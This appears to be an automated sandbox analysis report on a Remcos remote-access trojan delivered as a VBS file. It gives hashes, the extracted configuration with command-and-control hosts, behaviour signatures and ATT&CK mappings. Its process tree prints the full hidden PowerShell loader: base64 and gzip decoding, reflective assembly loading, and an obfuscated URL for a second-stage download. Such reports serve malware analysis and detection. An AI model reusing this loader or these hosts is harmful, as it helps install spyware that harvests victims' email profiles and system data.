remcos | ee38c6e737793ab18727008f57800a10ef931f2dead3bb4141bb47e25fd4c19a

Analysis

max time kernel
149s
max time network
129s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/06/2026, 10:50

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General

Target
SKM_22726060600310.vbs
Size 14.4MB
Sample260608-mxrt3ac14t
SHA256 ee38c6e737793ab18727008f57800a10ef931f2dead3bb4141bb47e25fd4c19a
MD5 39a2e7b10e20748dd956f7c331c0a73e
SHA1 166ad522bb116e38e3fded100c7979cead975b99
SHA512 a46583c454c420bb91a74f496195f262ec5e99ce724996bac247895c5173cc6ef8ec8bf453e9a4a66b182d3deeca129583301d0420a82fae1b0d67165f299940
SSDEEP 1536:+uGipwnBM3FWEVUbBROafBZ5r0h42a5tHnw8dRL/+FWPMXXr0gYiaah3OPlWVjtT:p
TLSH
T10AE6D8427B5822CE766BEFE97C10005A4FD556FEB0F6D114F31A8DEE90D1AA4081CBB9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

photo%$collection discovery execution remcos rat

Malware Config

Extracted

Family

remcos

Version

7.2.5 Pro

Botnet

PHOTO%$

1sun.duckdns.org:62885
1sun-bk.duckdns.org:55793

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JAYBIE
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2008	2428	powershell.exe	79

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2008	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2008	powershell.exe
4836	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Caspol.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Caspol.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2008 set thread context of 864	2008	powershell.exe	84

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
2008	powershell.exe
4836	powershell.exe
2008	powershell.exe
4836	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 4836	1368	WScript.exe	82
PID 2008 wrote to memory of 864	2008	powershell.exe	84
PID 2008 wrote to memory of 864	2008	powershell.exe	84
PID 2008 wrote to memory of 864	2008	powershell.exe	84
PID 2008 wrote to memory of 864	2008	powershell.exe	84
PID 2008 wrote to memory of 864	2008	powershell.exe	84
PID 2008 wrote to memory of 864	2008	powershell.exe	84
PID 2008 wrote to memory of 864	2008	powershell.exe	84

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Caspol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SKM_22726060600310.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/DDVO-W3BO-CVPY-3175/vzt_2eep01.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','jFpn0CGmHt','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','jFpn0CGmHt','','1','','a33Nu5HbDZ','0','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/DDVO-W3BO-CVPY-3175/vzt_2eep01.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','jFpn0CGmHt','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','jFpn0CGmHt','','1','','a33Nu5HbDZ','0','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - outlook_office_path
  PID:864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 985d4522f85268635f4f5cf3b079677739155fb8fd77d3f5aa85fdbf6e6073fd
MD5 212bf123082b7a2392090cbbe854d89f
SHA1 c8e92de845bee0b8370895ab7c84eb1659cbb7a9
SHA512 0edef1df306da37184b102d45ecfd7879e8a2f1d9298a8e6fcde4cb227dc894a6421a1844da16b8a0fb1cfd1f9ea90f11e7fdb3a9d3d529d83643b6a698b7831
TLSH
T19E219B33B79CC135C89A117A10CDAD01B1B5C3CB049EDECB7A84C518E57F99ADB645E4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_km5qeb3t.xsm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_km5qeb3t.xsm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/864-28-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-33-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/864-50-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-19-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-49-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-48-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-23-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-24-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-25-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-26-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-27-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-47-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-29-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/864-45-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-32-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/864-40-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-41-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-42-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-43-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-44-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/864-46-0x0000000000400000-0x000000000048D000-memory.dmp

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memory/2008-15-0x000001E77DE60000-0x000001E77DF14000-memory.dmp

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memory/2008-1-0x000001E77D9E0000-0x000001E77D9F0000-memory.dmp

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memory/2008-0-0x000001E77D9E0000-0x000001E77D9F0000-memory.dmp

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memory/2008-8-0x000001E77BB90000-0x000001E77BBB2000-memory.dmp

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memory/2008-16-0x000001E77A120000-0x000001E77A12A000-memory.dmp

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